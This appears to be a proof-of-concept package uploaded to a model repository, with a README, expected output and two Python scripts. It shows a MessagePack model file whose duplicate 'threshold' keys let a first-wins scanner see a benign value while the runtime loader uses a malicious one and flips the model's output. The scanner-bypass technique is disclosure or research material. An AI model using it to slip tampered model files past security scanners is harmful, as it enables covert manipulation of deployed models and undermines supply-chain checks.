Upload 7 files
Browse files- msgpack_duplicate_key_mfv_poc_package/NO_CODE_EXECUTION_CLAIM.txt +1 -0
- msgpack_duplicate_key_mfv_poc_package/README.md +25 -0
- msgpack_duplicate_key_mfv_poc_package/control_model.msgpack +3 -0
- msgpack_duplicate_key_mfv_poc_package/duplicate_threshold_model.msgpack +3 -0
- msgpack_duplicate_key_mfv_poc_package/expected_output.json +14 -0
- msgpack_duplicate_key_mfv_poc_package/inspect_msgpack_duplicate_key.py +31 -0
- msgpack_duplicate_key_mfv_poc_package/verify_msgpack_duplicate_key.py +44 -0
msgpack_duplicate_key_mfv_poc_package/NO_CODE_EXECUTION_CLAIM.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
This PoC does not execute code. It demonstrates MessagePack duplicate-key parser differential and output manipulation.
|
msgpack_duplicate_key_mfv_poc_package/README.md
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# MessagePack duplicate-key parser differential PoC
|
| 2 |
+
|
| 3 |
+
This repository contains a Model File Vulnerability PoC for the MessagePack (`.msgpack`) model format.
|
| 4 |
+
|
| 5 |
+
## Files
|
| 6 |
+
|
| 7 |
+
- `duplicate_threshold_model.msgpack` — MessagePack model file with duplicate `threshold` keys.
|
| 8 |
+
- `control_model.msgpack` — normal control model file.
|
| 9 |
+
- `verify_msgpack_duplicate_key.py` — loads the model with msgpack and verifies output manipulation.
|
| 10 |
+
- `inspect_msgpack_duplicate_key.py` — demonstrates first-wins vs last-wins parser differential.
|
| 11 |
+
- `expected_output.json` — expected output.
|
| 12 |
+
|
| 13 |
+
## Security claim
|
| 14 |
+
|
| 15 |
+
The malicious `.msgpack` model file contains duplicate top-level `threshold` keys. A first-wins scanner sees the benign threshold `0.99`, while Python `msgpack.unpackb()` collapses the map to a dict using the last duplicate value `-0.5`. The runtime threshold flips the model output for the same input.
|
| 16 |
+
|
| 17 |
+
This is not code execution. It is a model-file parser differential / scanner-bypass / output-manipulation PoC.
|
| 18 |
+
|
| 19 |
+
## Reproduce
|
| 20 |
+
|
| 21 |
+
```bash
|
| 22 |
+
pip install msgpack
|
| 23 |
+
python inspect_msgpack_duplicate_key.py
|
| 24 |
+
python verify_msgpack_duplicate_key.py
|
| 25 |
+
```
|
msgpack_duplicate_key_mfv_poc_package/control_model.msgpack
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:b871aa38f9afb56dbc4dffa0aa297289c00d4628cbe25be4b0f324a314544efc
|
| 3 |
+
size 114
|
msgpack_duplicate_key_mfv_poc_package/duplicate_threshold_model.msgpack
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:9293d9360e3563f1b60527240128d41cc3f4f1af692297c9b85cf2ee6f881ad1
|
| 3 |
+
size 133
|
msgpack_duplicate_key_mfv_poc_package/expected_output.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"verify_expected": {
|
| 3 |
+
"malicious_runtime_threshold": -0.5,
|
| 4 |
+
"control_threshold": 0.99,
|
| 5 |
+
"malicious_trigger_input_class": 1,
|
| 6 |
+
"control_trigger_input_class": 0,
|
| 7 |
+
"result": "duplicate-key MessagePack model accepted; runtime last-wins threshold flips output"
|
| 8 |
+
},
|
| 9 |
+
"inspect_expected": {
|
| 10 |
+
"first_wins_scanner_threshold": 0.99,
|
| 11 |
+
"last_wins_runtime_threshold": -0.5,
|
| 12 |
+
"msgpack_unpackb_threshold": -0.5
|
| 13 |
+
}
|
| 14 |
+
}
|
msgpack_duplicate_key_mfv_poc_package/inspect_msgpack_duplicate_key.py
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
import json
|
| 3 |
+
import msgpack
|
| 4 |
+
from pathlib import Path
|
| 5 |
+
|
| 6 |
+
HERE = Path(__file__).resolve().parent
|
| 7 |
+
path = HERE / "duplicate_threshold_model.msgpack"
|
| 8 |
+
raw = path.read_bytes()
|
| 9 |
+
|
| 10 |
+
pairs = msgpack.unpackb(raw, raw=False, strict_map_key=False, object_pairs_hook=lambda pairs: pairs)
|
| 11 |
+
|
| 12 |
+
first_wins = {}
|
| 13 |
+
last_wins = {}
|
| 14 |
+
for k, v in pairs:
|
| 15 |
+
if k not in first_wins:
|
| 16 |
+
first_wins[k] = v
|
| 17 |
+
last_wins[k] = v
|
| 18 |
+
|
| 19 |
+
runtime = msgpack.unpackb(raw, raw=False, strict_map_key=False)
|
| 20 |
+
|
| 21 |
+
print("=== raw duplicate key pairs ===")
|
| 22 |
+
for idx, (k, v) in enumerate(pairs):
|
| 23 |
+
print(f"{idx}: {k!r} -> {v!r}")
|
| 24 |
+
|
| 25 |
+
print("\n=== parser differential ===")
|
| 26 |
+
print("first-wins scanner threshold:", first_wins["threshold"])
|
| 27 |
+
print("last-wins/runtime threshold :", last_wins["threshold"])
|
| 28 |
+
print("msgpack.unpackb threshold :", runtime["threshold"])
|
| 29 |
+
|
| 30 |
+
print("\n=== scanner risk ===")
|
| 31 |
+
print("A first-wins scanner sees threshold 0.99 (benign), while the runtime dict uses -0.5 (malicious).")
|
msgpack_duplicate_key_mfv_poc_package/verify_msgpack_duplicate_key.py
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
import os
|
| 3 |
+
import json
|
| 4 |
+
import msgpack
|
| 5 |
+
from pathlib import Path
|
| 6 |
+
|
| 7 |
+
HERE = Path(__file__).resolve().parent
|
| 8 |
+
|
| 9 |
+
def load_runtime(path):
|
| 10 |
+
# Typical Python MessagePack runtime behavior: map becomes dict, duplicate keys collapse.
|
| 11 |
+
# In msgpack-python this keeps the last duplicate key value.
|
| 12 |
+
return msgpack.unpackb(Path(path).read_bytes(), raw=False, strict_map_key=False)
|
| 13 |
+
|
| 14 |
+
def infer(model, x):
|
| 15 |
+
score = sum(float(w) * float(v) for w, v in zip(model["weights"], x)) + float(model["bias"])
|
| 16 |
+
return int(score > float(model["threshold"]))
|
| 17 |
+
|
| 18 |
+
def main():
|
| 19 |
+
benign_input = [0.0, 0.0]
|
| 20 |
+
trigger_input = [0.0, 0.0]
|
| 21 |
+
|
| 22 |
+
malicious = load_runtime(HERE / "duplicate_threshold_model.msgpack")
|
| 23 |
+
control = load_runtime(HERE / "control_model.msgpack")
|
| 24 |
+
|
| 25 |
+
result = {
|
| 26 |
+
"malicious_runtime_threshold": malicious["threshold"],
|
| 27 |
+
"control_threshold": control["threshold"],
|
| 28 |
+
"malicious_benign_input_class": infer(malicious, benign_input),
|
| 29 |
+
"control_benign_input_class": infer(control, benign_input),
|
| 30 |
+
"malicious_trigger_input_class": infer(malicious, trigger_input),
|
| 31 |
+
"control_trigger_input_class": infer(control, trigger_input),
|
| 32 |
+
"claim": "duplicate-key MessagePack file is accepted by runtime unpacker; last duplicate threshold controls inference behavior",
|
| 33 |
+
}
|
| 34 |
+
|
| 35 |
+
print(json.dumps(result, indent=2))
|
| 36 |
+
|
| 37 |
+
assert malicious["threshold"] == -0.5, "runtime should retain last duplicate key"
|
| 38 |
+
assert control["threshold"] == 0.99
|
| 39 |
+
assert infer(control, trigger_input) == 0
|
| 40 |
+
assert infer(malicious, trigger_input) == 1
|
| 41 |
+
print("RESULT: duplicate-key MessagePack model was accepted; runtime used the last duplicate threshold and flipped output.")
|
| 42 |
+
|
| 43 |
+
if __name__ == "__main__":
|
| 44 |
+
main()
|